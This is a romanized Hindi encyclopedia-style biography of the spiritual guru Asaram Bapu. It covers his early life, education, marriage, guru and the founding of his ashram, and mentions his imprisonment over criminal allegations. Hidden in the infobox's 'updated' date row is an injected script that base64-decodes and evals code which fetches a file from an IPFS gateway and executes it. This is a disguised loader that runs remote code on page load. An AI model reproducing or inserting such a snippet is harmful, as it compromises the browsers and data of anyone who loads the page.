आसाराम
asaram
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| poora nam | asoomal thaoomal siroomalani |
| janm | 17 aprॅl, 1941 |
| janm bhoomi | siandh, bharat |
| abhibhavak | thaoomal siroomalani aur mahangiba |
| pati/patni | lakshmi devi |
| guru | svami lilashahaji maharaj |
| karm-kshetr | adhyatmik guru |
| nagarikata | bharatiy |
| any janakari | asaram samanyatah aparadhik mamaloan mean unake khilaf dayar yachikaean, unake ashram dvara atikraman, 2012 dilli dushkarm par unaki tippani evan 2013 mean nabalig l daki ka kathit yaun shoshan jaise vivadoan se ju de rahe haian. vartaman mean asaram jodhapur ki jel mean kaid haian. |
| adyatan | 12:33, 24 faravari 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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asaram athava asaram bapoo (aangrezi: Asaram Bapu, janm: 17 aprॅl, 1941, siandh) ek bharatiy atmajnani sant, kathavachak evan adhyatmik guru haian. asaram ka vastavik nam 'asumal thaoomal siroomalani' hai. asaram samanyatah aparadhik mamaloan mean unake khilaf dayar yachikaean, unake ashram dvara atikraman, 2012 dilli dushkarm par unaki tippani evan 2013 mean nabalig l daki ka kathit yaun shoshan jaise vivadoan se ju de rahe haian. un par lage aropoan ki aanch unake bete narayan saeean tak pahuanch chuki hai. nyayalay ne unhean nyayik hirasat mean rakhane ka nirnay liya hai. vartaman mean asaram jodhapur jel ki salakhoan ke pichhe kaid haian.
jivan parichay
asaram ka janm siandh prant ke navabashah zile mean siandhu nadi ke tat par base berani gaanv mean nagar seth shri thaoomalaji siroomalani ke ghar 17 aprail 1941 tadanusar vikram sanvat 1998 ko chaitr vadi shashthi ke din hua tha. inaki mataji ka nam mahangiba hai. us samay namakaran sanskar ke dauran inaka nam asumal rakha gaya tha.
balyavastha
asaram ka balyakal sangharshoan ki ek lanbi kahani haian. vibhajan ki vibhishika ko sahanakar bharat ke prati atyadhik prem hone ke karan inaka parivar apani athah chal-achal sampatti ko chho dakar ahamadabad shahar mean 1947 mean a pahuancha. apana dhan-vaibhav sab kuchh chhoot jane ke karan vah parivar arthik vishamata ke chakravyooh mean phans gaya lekin ajivika ke lie kisi tarah se pitashri thaoomalaji dvara lak di aur koyale ka vyavasay arambh karane se arthik paristhiti mean sudhar hone laga. tatpashchath shakkar ka vyavasay bhi arambh ho gaya.
shiksha
asaram ki prarambhik shiksha sindhi bhasha se arambh huee. tadanantar sat varsh ki ayu mean prathamik shiksha ke lie inhean 'jayahind haeeskool', maninagar, (ahamadabad) mean pravesh dilavaya gaya. apani vilakshan smaranashakti ke prabhav se ye shikshakoan dvara sunaee jane vali kavita, git ya any adhyay tatkshan poori ki poori hoo-b-hoo suna dete the. vidyalay mean jab bhi madhyanh ki vishranti hoti, balak asumal khelane-koodane ya gappebaji mean samay n ganvakar ekaant mean kisi vriksh ke niche eeshvar ke dhyan mean baith jate the. chitt ki ekagrata, buddhi ki tivrata, namrata, sahanashilata adi gunoan ke karan balak ka vyaktitv poore vidyalay mean mohak ban gaya tha. apane pita ke asaram la dale santan the. atah pathashala jate samay pitashri inaki jeb mean pishta, badam, kajoo, akharot adi bhar dete the jise asumal svayan bhi khate evan pranimatr mean inaka mitrabhav hone se ye parichit-aparichit sabhi ko bhi khilate the. padhane mean ye b de medhavi the tatha prativarsh pratham shreni mean hi uttirn hote the, phir bhi is samany vidya ka akarshan inhean kabhi nahian raha. laukik vidya, yog vidya aur atm vidya ye tin vidyaean haian, lekin inaka poora jhukav yog vidya par hi raha.
parivar
mata-pita ke atirikt asaram ke parivar mean ek b de bhaee tatha do chhoti bahanean thian. balak asumal ko mataji ki or se dharm ke sanskar bachapan se hi diye gaye the. maan inhean thakuraji ki moorti ke samane bitha detian aur kahatian- “beta, bhagavan ki pooja aur dhyan karo. isase prasann ho kar ve tumhean prasad deange.” ve aisa hi karate aur maan avasar pakar unake sammukh chupachap makkhan-mishri rakh jatian. balak asumal jab aankhean kholakar prasad dekhate to prabhu-prem mean pulakit ho uthate the.
vivah
tarunaee ke pravesh ke sath hi gharavaloan ne inaki shadi karane ki taiyari ki. vairagi asumal saansarik bandhanoan mean nahian phansana chahate the isalie vivah ke ath din poorv hi ve chupake se ghar chho d kar nikal p de. kafi khojabin ke bad gharavaloan nean unhean bharooch ke ek ashram mean pa liya. "chooanki poorv mean sagaee nishchit ho chuki hai, atah sanbandh to dana parivar ki pratishtha par aghat pahuanchana hoga. sabhi parivarajanoan ke bar-bar is agrah ke vashibhoot hokar tatha tivratam prarabdh ke karan unaka vivah ho gaya, kintu asumal us svarnabandhan mean ruke nahian. apani sushil evan pavitr dharmapatni lakshmi devi ko samajhakar apane param lakshy ‘atm-sakshatkar’ ki prapti tak sanyami jivan jine ka adesh diya. apane poojy svami ke dharmik evan vairagyapoorn vicharoan se sahamat hokar lakshmi devi ne bhi taponishth evan sadhanamay jivan vyatit karane ka nishchay kar liya.
guru ki prapti
svami lilashahaji maharaj inake guru the. vah b di amritavela kahi jati hai, jab eeshvar ki khoj ke lie nikale param vir purush ko eeshvar prapt kisi sadaguru ka sannidhy milata hai. us din ko navajivan prapt hota hai. guru ke dvar par bhi kathor kasautiyaan huee thian, lekin paramatma ke pyar mean t dapata yah param vir purush sari-ki-sari kasautiyaan par karake sadagurudev ka kripaprasad pane ka adhikari ban gaya. sadagurudev ne sadhana-path ke rahasyoan ko samajhate hue asumal ko apana liya. adhyatmik marg ke is pipasu-jijnasu sadhak ki adhi sadhana to usi din poorn ho gee jab sadaguru ne apana liya. param dayalu sadaguru saeean lilashahaji maharaj ne asumal ko ghar mean hi dhyan bhajan karane ka adesh dekar 70 din tak vapas ahamadabad bhej diya.
ashram ki sthapana
sabaramati nadi ke kinare ki ubad-khab d tekariyoan (mitti ke tiloan) par bhaktoan dvara ashram ke roop mean 29 janavari 1972 ko ek kachchi kutiya taiyar ki gee. is sthan ke charoan or kantili jha diyaan v bih d jangal tha, jahaan din mean bhi ane par logoan ko chor-dakuoan ka bhay barabar bana rahata tha. lekin ashram ki sthapana ke bad yahaan ka bhayavah evan dooshit vatavaran ekadam badal gaya. vartaman mean is ashramaroopi vishal vriksh ki shakhaean bharat mean hi nahian, vishv ke anek deshoan tak pahuanch chuki haian. sabaramati ke bih doan mean sthapit yah kutiya aj ‘santashri asaramaji ashram’ ke nam se ek mahanh pavan tirthadham ban chuki hai.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh